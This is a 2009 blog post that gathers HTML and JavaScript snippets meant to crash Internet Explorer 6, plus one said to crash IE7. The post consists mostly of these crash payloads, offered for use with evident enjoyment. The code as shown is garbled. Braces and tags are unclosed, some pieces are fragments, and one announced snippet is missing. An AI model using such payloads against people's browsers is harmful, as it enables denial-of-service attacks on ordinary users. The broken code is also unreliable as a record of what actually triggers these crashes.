Tuesday, April 7, 2009

html and javascript codes to crash IE6

Let's start with the longest of all:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<style type="text/css">
html, body {
overflow: hidden;
scrollbar-base-color: #330066;

.crash {

<script type="text/javascript">
function galgenfrist() {

function crashIE() {
var moveNode = document.getElementById("move");
if(moveNode) {
moveNode.style.top = "100px";
moveNode.style.left = "200px";

<body onload="galgenfrist();">

<div id="move" class="crash">



Javascript and IE6, a true love story...

<script>for (x in document.write) { document.write(x);}</script>

This one was discover last year:


Anti-IE Javascript strikes back!

<body onLoad=”window()”>

Now my favorite: 11 symbols and...bang :D


This one is the only one I know which make IE7 crash:

function getX( oElement ) {
var iReturnValue = 0;
while( oElement != null ) {
iReturnValue += oElement.offsetLeft;
oElement = oElement.offsetParent;
return iReturnValue;

No comments: